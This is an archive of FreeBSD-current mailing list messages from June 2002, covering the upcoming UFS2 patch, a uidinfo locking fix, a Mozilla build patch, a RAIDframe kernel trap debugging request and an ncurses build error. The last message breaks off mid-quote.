X-Affiliated-Projects: FreeBSD, xMach, ircd-hybrid-7
X-Towel: Yes
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* Bruce Evans <bde@zeta.org.au> escriuréres
> On Wed, 19 Jun 2002, Juli Mallett wrote:
> 
> > * Greg 'groggy' Lehey <grog@FreeBSD.org> escriurères
> > > On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
> > > >
> > > > Kirk is loading and aiming is committatron with the UFS2 patch,
> > > > expect to see it hit -current any day soon.
> > >
> > > Any details of what it will contain?
> > >
> > > Greg
> >
> > http://phk.freebsd.dk/patch/ufs2.patch
> >
> > I believe.
> 
> These details have only been publicized for a month now.

On the mailing lists?  Yeah.  The patch has been online and updated for longer
I think though.  I can't recall how I heard.  Anyway.

> > It speaks for itself.  Of course the first thing that shows up is more
> > devfs related than UFS2 related and probably should be committed in a
> > seperate commit, if at all, cause that's what NO_MAKEDEV_INSTALL is for.
> 
> I think about half of the patch should be committed separately.  phk has
> already committed some related things separately, but not nearly half.

I seem to recall seeing whitespace changes, dead code removal, and api changes
which are not exclusive to ufs2 and would do well to be abstracted, but I did
not have the time earlier to go over and annotate these so I decided not to
mention it.  But anyway.

> I also think that "HEADS UP" should be spelled in English.  A HEADSUP is
> something to do with [cv]sup :-).

That would give you the latest contents of what's going on in each developer's
head, right?
-- 
Juli Mallett <jmallett@FreeBSD.org>       | FreeBSD: The Power To Serve
Will break world for fulltime employment. | finger jmallett@FreeBSD.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 22:15:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163])
	by hub.freebsd.org (Postfix) with ESMTP
	id CF45237B404; Wed, 19 Jun 2002 22:15:31 -0700 (PDT)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.12.3/8.12.2) with ESMTP id g5K5DhIj075766;
	Thu, 20 Jun 2002 07:13:43 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: Juli Mallett <jmallett@FreeBSD.ORG>
Cc: Bruce Evans <bde@zeta.org.au>,
	"Greg 'groggy' Lehey" <grog@FreeBSD.ORG>, current@FreeBSD.ORG
Subject: Re: HEADSUP: UFS2 patch coming... 
In-Reply-To: Your message of "Wed, 19 Jun 2002 21:55:13 PDT."
             <20020619215513.A90131@FreeBSD.ORG> 
Date: Thu, 20 Jun 2002 07:13:42 +0200
Message-ID: <75759.1024550022@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


>> I think about half of the patch should be committed separately.  phk has
>> already committed some related things separately, but not nearly half.
>
>I seem to recall seeing whitespace changes, dead code removal, and api changes
>which are not exclusive to ufs2 and would do well to be abstracted, but I did
>not have the time earlier to go over and annotate these so I decided not to
>mention it.  But anyway.

Well, I suggest you tell the author of the patch that, since I'm only
the messenger in this case:  kirk@mckusick.com

-- 
Poul-Henning Kamp       | UNIX since Zilog Zeus 3.20
phk@FreeBSD.ORG         | TCP/IP since RFC 956
FreeBSD committer       | BSD since 4.3-tahoe    
Never attribute to malice what can adequately be explained by incompetence.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 22:54: 0 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5])
	by hub.freebsd.org (Postfix) with ESMTP
	id 8DCCD37B40C; Wed, 19 Jun 2002 22:53:56 -0700 (PDT)
Received: from hades.hell.gr (patr530-b219.otenet.gr [212.205.244.227])
	by mailsrv.otenet.gr (8.12.3/8.12.3) with ESMTP id g5K5rrqK025033;
	Thu, 20 Jun 2002 08:53:53 +0300 (EEST)
Received: from hades.hell.gr (hades [127.0.0.1])
	by hades.hell.gr (8.12.4/8.12.4) with ESMTP id g5K5rqdv068118;
	Thu, 20 Jun 2002 08:53:52 +0300 (EEST)
	(envelope-from keramida@ceid.upatras.gr)
Received: (from charon@localhost)
	by hades.hell.gr (8.12.4/8.12.4/Submit) id g5K5rq3q068117;
	Thu, 20 Jun 2002 08:53:52 +0300 (EEST)
	(envelope-from keramida@ceid.upatras.gr)
Date: Thu, 20 Jun 2002 08:53:50 +0300
From: Giorgos Keramidas <keramida@ceid.upatras.gr>
To: Juli Mallett <jmallett@FreeBSD.ORG>
Cc: Bruce Evans <bde@zeta.org.au>,
	"Greg 'groggy' Lehey" <grog@FreeBSD.ORG>,
	Poul-Henning Kamp <phk@FreeBSD.ORG>, current@FreeBSD.ORG
Subject: Re: HEADSUP:  UFS2 patch coming...
Message-ID: <20020620055350.GA67975@hades.hell.gr>
References: <20020619190331.A68914@FreeBSD.ORG> <20020620142204.T11165-100000@gamplex.bde.org> <20020619215513.A90131@FreeBSD.ORG>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020619215513.A90131@FreeBSD.ORG>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 2002-06-19 21:55 +0000, Juli Mallett wrote:
> * Bruce Evans <bde@zeta.org.au> escriur?res
> > I also think that "HEADS UP" should be spelled in English.  A HEADSUP is
> > something to do with [cv]sup :-).
>
> That would give you the latest contents of what's going on in each developer's
> head, right?

Ah, splendid!  I can't even begin to count the times I've wished for
something like this.  Not for developers, but for humans in general :)

- Giorgos


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 23: 4:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rootlabs.com (root.org [67.118.192.226])
	by hub.freebsd.org (Postfix) with SMTP id 2E58637B404
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 23:04:30 -0700 (PDT)
Received: (qmail 11841 invoked by uid 1000); 20 Jun 2002 06:34:21 -0000
Date: Wed, 19 Jun 2002 23:34:21 -0700 (PDT)
From: Nate Lawson <nate@root.org>
To: Don Lewis <dl-freebsd@catspoiler.org>
Cc: bright@mu.org, current@FreeBSD.ORG
Subject: Re: Suggested fixes for uidinfo "would sleep" messages
In-Reply-To: <200206190554.g5J5sGM1064829@gw.catspoiler.org>
Message-ID: <Pine.BSF.4.21.0206192329420.11755-100000@root.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Tue, 18 Jun 2002, Don Lewis wrote:
> On 18 Jun, Alfred Perlstein wrote:
> > * Nate Lawson <nate@root.org> [020618 12:17] wrote:
> >> As with others on the list, I've been getting a lot of witness complaints:
> >> 
> >> ../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
> >> ../../../kern/kern_prot.c:511
> >> ../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
> >> ../../../kern/kern_prot.c:613
> >> 
> >> Basically, every time cron runs, it does a setuid() or seteuid(), which
> >> calls change_ruid or change_euid which call uifree and uifind (which does
> >> the malloc with M_WAITOK while holding PROC_LOCK).
> > ...
> >> Is anyone else working on a fix?
> > 
> > The code should not be holding proc locks over ui*() calls.
> 
> I finally got tired of seeing these messages.  Since I haven't seen
> anybody post a patch, I bit the bullet and cranked one out.  It could
> use some examination to make sure that the reference counts are handled
> properly and there aren't any leaks.  I'm not terribly happy about
> having to unhide the uidinfo stuff and expose it to the users of
> change_{r,e}uid(), and I don't like allocating memory before checking
> permissions, but it looks like the alternatives are worse.

I like your patch although it does create one more avenue for programming
errors.  This is a very real problem as my -current box hangs hard after
about 10 hours of uptime.  It has no problems running -stable.  Disabling
cron has kept it from crashing for at least a few days.

Does anyone have any other solutions?  If not, what's the status on
committing this, at least as a workaround for now?

-Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 23:21:54 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.tgd.net (mail.tgd.net [209.81.25.10])
	by hub.freebsd.org (Postfix) with ESMTP id 737CE37B42A
	for <freebsd-current@FreeBSD.ORG>; Wed, 19 Jun 2002 23:21:36 -0700 (PDT)
Received: by mail.tgd.net (Postfix, from userid 1001)
	id 7105420F01; Wed, 19 Jun 2002 23:21:35 -0700 (PDT)
Date: Wed, 19 Jun 2002 23:21:35 -0700
From: Sean Chittenden <sean@chittenden.org>
To: Joe Marcus Clarke <marcus@marcuscom.com>
Cc: Kris Kennaway <kris@obsecurity.org>,
	walt <wsheets@sbcglobal.net>,
	freebsd-current <freebsd-current@FreeBSD.ORG>
Subject: Re: The -current state of mozilla affairs
Message-ID: <20020619232135.D37593@ninja1.internal>
References: <3CFC588A.9070903@sbcglobal.net> <20020604134655.B62465@xor.obsecurity.org> <20020619183056.K31745@ninja1.internal> <1024539159.44782.21.camel@shumai.marcuscom.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="/e2eDi0V/xtL+Mc8"
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1024539159.44782.21.camel@shumai.marcuscom.com>; from "marcus@marcuscom.com" on Wed, Jun 19, 2002 at = 10:12:39PM
X-PGP-Key: 0x1EDDFAAD
X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD
X-Web-Homepage: http://sean.chittenden.org/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--/e2eDi0V/xtL+Mc8
Content-Type: multipart/mixed; boundary="neYutvxvOLaeuPCA"
Content-Disposition: inline


--neYutvxvOLaeuPCA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> > I supped a -CURRENT system 3 days ago and am still having the problem
> > described here, but the gcc that's in the base system is 3.1 at this
> > point.  I'm installing gcc32 now and will try building this again
> > using a newer version of GCC but am not sure if this'll fix anything.
> > Anyone have any ideas/clues?  -sc
>=20
> I do, but admittedly, it's not my idea.  Peter Kostouros has said
> that defining THUNK_BASED_THIS_ADJUST in
> xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h fixes
> the build problem on -CURRENT.  I have not tested this yet, but I
> did test a build with gcc31 from ports (per mbr@'s suggestion), and
> that works just fine.
>
> I want to test Peter's suggestion before I add more bloat to Mozilla.  I
> just have a really slow -CURRENT machine.  If you'd like to test the
> option, undefine CFRONT_STYLE_THIS_ADJUST, and define
> THUNK_BASED_THIS_ADJUST in the above header file, and see if it works.

Sweeet!  We've got a winner.  The attach patched should work but is
untested (I just brute-forced the defs earlier and am not about to
wait another 4+hrs to test this little patch).  :~) Anyway, any chance
this could be committed as a patch for mozilla?  -sc

--=20
Sean Chittenden

--neYutvxvOLaeuPCA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=patch

--- xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h.orig	Tue Apr  9 20:37:34 2002
+++ xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h	Wed Jun 19 23:23:38 2002
@@ -94,7 +94,7 @@
  * gcc is that the system gcc defines __FreeBSD_cc_version.  This variable
  * can also identify the period of time that 4.0-CURRENT used thunks.
  */
-#if defined(__FreeBSD_cc_version) && \
+ #if defined(__FreeBSD_cc_version) && (__FreeBSD_cc_version < 500003) && \
     (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003)
 #define CFRONT_STYLE_THIS_ADJUST
 #else

--neYutvxvOLaeuPCA--

--/e2eDi0V/xtL+Mc8
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Comment: Sean Chittenden <sean@chittenden.org>

iD8DBQE9EXRtn09c7x7d+q0RAltpAKDTQn3AZWFmoxI7losjp/ZM1NaT3gCg1aiT
470Dva/SMk+EnaGocCgHXd0=
=8al2
-----END PGP SIGNATURE-----

--/e2eDi0V/xtL+Mc8--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 23:29:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from gw.catspoiler.org (217-ip-163.nccn.net [209.79.217.163])
	by hub.freebsd.org (Postfix) with ESMTP id 5837037B413
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 23:29:33 -0700 (PDT)
Received: from mousie.catspoiler.org (mousie.catspoiler.org [192.168.101.2])
	by gw.catspoiler.org (8.12.3/8.12.3) with ESMTP id g5K6TTM1068489;
	Wed, 19 Jun 2002 23:29:32 -0700 (PDT)
	(envelope-from dl-freebsd@catspoiler.org)
Message-Id: <200206200629.g5K6TTM1068489@gw.catspoiler.org>
Date: Wed, 19 Jun 2002 23:29:45 -0700 (PDT)
From: Don Lewis <dl-freebsd@catspoiler.org>
Subject: Re: Suggested fixes for uidinfo "would sleep" messages
To: nate@root.org
Cc: current@FreeBSD.ORG
In-Reply-To: <Pine.BSF.4.21.0206192329420.11755-100000@root.org>
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 19 Jun, Nate Lawson wrote:

> I like your patch although it does create one more avenue for programming
> errors.  This is a very real problem as my -current box hangs hard after
> about 10 hours of uptime.  It has no problems running -stable.  Disabling
> cron has kept it from crashing for at least a few days.
> 
> Does anyone have any other solutions?  If not, what's the status on
> committing this, at least as a workaround for now?

Alfred committed my patch on Wed Jun 19 06:39:24 2002 UTC.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  0: 8:28 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hotmail.com (oe33.pav0.hotmail.com [64.4.32.113])
	by hub.freebsd.org (Postfix) with ESMTP id A98A237B40F
	for <current@FreeBSD.org>; Thu, 20 Jun 2002 00:08:12 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 20 Jun 2002 00:08:12 -0700
X-Originating-IP: [210.74.136.33]
From: "kai ouyang" <oykai@msn.com>
To: "Scott Long" <scott_long@btc.adaptec.com>, <current@FreeBSD.org>,
	"Terry Lambert" <tlambert2@mindspring.com>
Subject: Debug report
Date: Thu, 20 Jun 2002 15:07:56 +0800
MIME-Version: 1.0
X-Mailer: MSN Explorer 7.00.0021.1900
Content-Type: multipart/mixed; boundary="----=_NextPart_001_0002_01C2186C.41F931A0"
Message-ID: <OE335q8awYFDIfWb4Sa000046ce@hotmail.com>
X-OriginalArrivalTime: 20 Jun 2002 07:08:12.0598 (UTC) FILETIME=[3D995560:01C21829]
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


------=_NextPart_001_0002_01C2186C.41F931A0
Content-Type: multipart/alternative; boundary="----=_NextPart_002_0003_01C2186C.41F931A0"


------=_NextPart_002_0003_01C2186C.41F931A0
Content-Type: text/plain; charset="gb2312"
Content-Transfer-Encoding: quoted-printable

Dear Scott and Terry, =20
  Thank your help very much!
When I configured the 'raid0' device, I excute 'raidctl -s raid0'.
The system info:
kernel: type 12 trap, code=3D0
Stopped at InitBP+0x64: movl %eax, 0xec(%edx)
db>
I type 'trace'
there are :
InitBP(cdbccf00,cdb92960,2,c1bc1500,40,0,1,0, c1cae200,c0170440,c1cb3800,=
9) at InitBP+0x64
................
Context switches not allowed in the debugger.
db>

I have no experience on kernel debug. I do not know that means what.

There is the function InitBP I modified to support Current. Could you hel=
p me to check?
 static void =20
InitBP(bp, b_vp, rw_flag, dev, startSect, numSect, buf, cbFunc, cbArg,
       logBytesPerSector)
 struct bio *bp;
 struct vnode *b_vp;
 unsigned rw_flag;
 dev_t dev;
 RF_SectorNum_t startSect;
 RF_SectorCount_t numSect;
 caddr_t buf;
 void (*cbFunc) (struct bio *);
 void *cbArg;
 int logBytesPerSector;
{
 /* bp->b_flags       =3D B_PHYS | rw_flag; */
 /*bp->bio_flags =3D B_CALL | rw_flag;  XXX need B_PHYS here too? */
 =20
 bp->bio_bcount =3D numSect << logBytesPerSector;
 bp->bio_caller1 =3D(void *) bp->bio_bcount;
 bp->bio_error =3D 0;
 bp->bio_dev =3D dev;
 bp->bio_data =3D buf;
 bp->bio_blkno =3D startSect;
 bp->bio_resid =3D bp->bio_bcount; /* XXX is this right!?!?!! */
 if (bp->bio_bcount =3D=3D 0) {
  panic("bp->b_bcount is zero in InitBP!!\n");
 }
 bp->bio_done =3D cbFunc;
 bp->_bio_buf->b_vp =3D b_vp;
}

If you have no spare time to do that, Could you give me your Current patc=
h, I can learn and analyse the difference.=B4=D3=CD=F8=D5=BE=B5=C3=B5=BD=B8=
=FC=B6=E0=D0=C5=CF=A2=A1=A3MSN Explorer =C3=E2=B7=D1=CF=C2=D4=D8:http://e=
xplorer.msn.com/lccn

------=_NextPart_002_0003_01C2186C.41F931A0
Content-Type: text/html; charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<HTML><BODY STYLE=3D"font:10pt verdana; border:none;"><DIV>Dear&nbsp;Scot=
t and Terry, </DIV> <DIV>&nbsp; Thank your help very much!</DIV> <DIV>Whe=
n I configured the 'raid0' device, I excute 'raidctl -s raid0'.</DIV> <DI=
V>The system info:</DIV> <DIV>kernel: type 12 trap, code=3D0</DIV> <DIV>S=
topped at InitBP+0x64: movl %eax, 0xec(%edx)</DIV> <DIV>db&gt;</DIV> <DIV=
>I type 'trace'</DIV> <DIV>there are :</DIV> <DIV>InitBP(cdbccf00,cdb9296=
0,2,c1bc1500,40,0,1,0, c1cae200,c0170440,c1cb3800,9) at InitBP+0x64</DIV>=
 <DIV>................</DIV> <DIV>Context switches not allowed in the deb=
ugger.</DIV> <DIV>db&gt;</DIV> <DIV>&nbsp;</DIV> <DIV>I have no experienc=
e on kernel debug. I do not know that means what.</DIV> <DIV>&nbsp;</DIV>=
 <DIV>There is the function InitBP I modified to support Current. Could y=
ou help me to check?</DIV> <DIV> static void <BR>InitBP(bp, b_vp, rw_flag=
, dev, startSect, numSect, buf, cbFunc, cbArg,<BR>&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; logBytesPerSector)<BR>&nbsp;struct bio *bp;<BR>&nbsp;struct=
 vnode *b_vp;<BR>&nbsp;unsigned rw_flag;<BR>&nbsp;dev_t dev;<BR>&nbsp;RF_=
SectorNum_t startSect;<BR>&nbsp;RF_SectorCount_t numSect;<BR>&nbsp;caddr_=
t buf;<BR>&nbsp;void (*cbFunc) (struct bio *);<BR>&nbsp;void *cbArg;<BR>&=
nbsp;int logBytesPerSector;<BR>{<BR>&nbsp;/* bp-&gt;b_flags&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; =3D B_PHYS | rw_flag; */<BR>&nbsp;/*bp-&gt;bio_fla=
gs =3D B_CALL | rw_flag;&nbsp; XXX need B_PHYS here too? */<BR>&nbsp;<BR>=
&nbsp;bp-&gt;bio_bcount =3D numSect &lt;&lt; logBytesPerSector;<BR>&nbsp;=
bp-&gt;bio_caller1 =3D(void *) bp-&gt;bio_bcount;<BR>&nbsp;bp-&gt;bio_err=
or =3D 0;<BR>&nbsp;bp-&gt;bio_dev =3D dev;<BR>&nbsp;bp-&gt;bio_data =3D b=
uf;<BR>&nbsp;bp-&gt;bio_blkno =3D startSect;<BR>&nbsp;bp-&gt;bio_resid =3D=
 bp-&gt;bio_bcount;&nbsp;/* XXX is this right!?!?!! */<BR>&nbsp;if (bp-&g=
t;bio_bcount =3D=3D 0) {<BR>&nbsp;&nbsp;panic("bp-&gt;b_bcount is zero in=
 InitBP!!\n");<BR>&nbsp;}</DIV> <DIV>&nbsp;bp-&gt;bio_done =3D cbFunc;<BR=
>&nbsp;bp-&gt;_bio_buf-&gt;b_vp =3D b_vp;<BR>}</DIV> <DIV>&nbsp;</DIV> <D=
IV>If you have no spare time to do that, Could you give me your Current p=
atch, I can learn and analyse the difference.<BR><BR></DIV></BODY></HTML>=
<br clear=3Dall><hr>=B4=D3=CD=F8=D5=BE=B5=C3=B5=BD=B8=FC=B6=E0=D0=C5=CF=A2=
=A1=A3MSN Explorer =C3=E2=B7=D1=CF=C2=D4=D8=A3=BA<a href=3D'http://explor=
er.msn.com/lccn'>http://explorer.msn.com/lccn</a><br></p>

------=_NextPart_002_0003_01C2186C.41F931A0--


------=_NextPart_001_0002_01C2186C.41F931A0
Content-Type: text/plain; name="debug.txt"
Content-Disposition: attachment; filename="debug.txt"
Content-Transfer-Encoding: quoted-printable

Dear Scott and Terry, =20
  Thank your help very much!
When I configured the 'raid0' device, I excute 'raidctl -s raid0'.
The system info:
kernel: type 12 trap, code=3D0
Stopped at InitBP+0x64: movl %eax, 0xec(%edx)
db>
I type 'trace'
there are :
InitBP(cdbccf00,cdb92960,2,c1bc1500,40,0,1,0, c1cae200,c0170440,c1cb3800,=
9) at InitBP+0x64
................
Context switches not allowed in the debugger.
db>

I have no experience on kernel debug. I do not know that means what.

There is the function InitBP I modified to support Current. Could you hel=
p me to check?
 static void =20
InitBP(bp, b_vp, rw_flag, dev, startSect, numSect, buf, cbFunc, cbArg,
       logBytesPerSector)
 struct bio *bp;
 struct vnode *b_vp;
 unsigned rw_flag;
 dev_t dev;
 RF_SectorNum_t startSect;
 RF_SectorCount_t numSect;
 caddr_t buf;
 void (*cbFunc) (struct bio *);
 void *cbArg;
 int logBytesPerSector;
{
 /* bp->b_flags       =3D B_PHYS | rw_flag; */
 /*bp->bio_flags =3D B_CALL | rw_flag;  XXX need B_PHYS here too? */
 =20
 bp->bio_bcount =3D numSect << logBytesPerSector;
 bp->bio_caller1 =3D(void *) bp->bio_bcount;
 bp->bio_error =3D 0;
 bp->bio_dev =3D dev;
 bp->bio_data =3D buf;
 bp->bio_blkno =3D startSect;
 bp->bio_resid =3D bp->bio_bcount; /* XXX is this right!?!?!! */
 if (bp->bio_bcount =3D=3D 0) {
  panic("bp->b_bcount is zero in InitBP!!\n");
 }
 bp->bio_done =3D cbFunc;
 bp->_bio_buf->b_vp =3D b_vp;
}

If you have no spare time to do that, Could you give me your Current patc=
h, I can learn and analyse the difference.

------=_NextPart_001_0002_01C2186C.41F931A0--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  0:47: 2 2002
Delivered-To: freebsd-current@freebsd.org
Received: from web14108.mail.yahoo.com (web14108.mail.yahoo.com [216.136.172.138])
	by hub.freebsd.org (Postfix) with SMTP id 3644237B40B
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 00:46:57 -0700 (PDT)
Message-ID: <20020620074657.11859.qmail@web14108.mail.yahoo.com>
Received: from [213.115.15.189] by web14108.mail.yahoo.com via HTTP; Thu, 20 Jun 2002 09:46:57 CEST
Date: Thu, 20 Jun 2002 09:46:57 +0200 (CEST)
From: =?iso-8859-1?q?Claus=20Guttesen?= <cguttesen@yahoo.dk>
Subject: Re: error in ncurses in 'make buildworld'
To: freebsd-current@freebsd.org
In-Reply-To: <20020619163321.A48809@dragon.nuxi.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi.

> ../lib/libncurses++.a(cursesmain.o)(.eh_frame+0x11):
> 
> You are doing something very wrong.  We don't build
> libncurses++.a
> anywhere that I can find.

You're right. I was becoming a vegetable trying to
figure out how to fix it. So in my insanity I did a
'make' in the ncurses-directory (and posted too fast)
just to get the error, rather than performing the
buildworld. Pardon for my ignorance.

The real error is:

lib_gen.c: In function `addchnstr':
lib_gen.c:27: `a0' undeclared (first use in this
function)
lib_gen.c:27: (Each undeclared identifier is reported
only once
lib_gen.c:27: for each function it appears in.)
lib_gen.c:27: syntax error before numeric constant

And continues to 'lib_gen.c:824: `a0' undeclared'.

The file lib_gen.c is autogenerated on each build, the
file is at /usr/obj/usr/src/lib/libncurses/lib_gen.c.

regards
Claus


_____________________________________________________
Følg VM i fodbold på tæt hold fra Yahoo!s officielle VM-side 
www.yahoo.dk/vm2002

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  0:54:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80])
	by hub.freebsd.org (Postfix) with ESMTP id 9B3B637B406
	for <current@FreeBSD.org>; Thu, 20 Jun 2002 00:54:55 -0700 (PDT)
Received: by wantadilla.lemis.com (Postfix, from userid 1004)
	id E0E6A814A6; Thu, 20 Jun 2002 17:24:52 +0930 (CST)
Date: Thu, 20 Jun 2002 17:24:52 +0930
From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Poul-Henning Kamp <phk@critter.freebsd.dk>
Cc: current@FreeBSD.org
Subject: Re: HEADSUP: UFS2 patch coming...
Message-ID: <20020620075452.GU23122@wantadilla.lemis.com>
References: <20020620015236.GF23122@wantadilla.lemis.com> <71273.1024548623@critter.freebsd.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <71273.1024548623@critter.freebsd.dk>
User-Agent: Mutt/1.3.99i
Organization: The FreeBSD Project
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-418-838-708
WWW-Home-Page: http://www.FreeBSD.org/
X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F  09AC 22E6 F290 507A 4223
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thursday, 20 June 2002 at  6:50:23 +0200, Poul-Henning Kamp wrote:
> In message <20020620015236.GF23122@wantadilla.lemis.com>, "Greg 'groggy' Lehey"
>  writes:
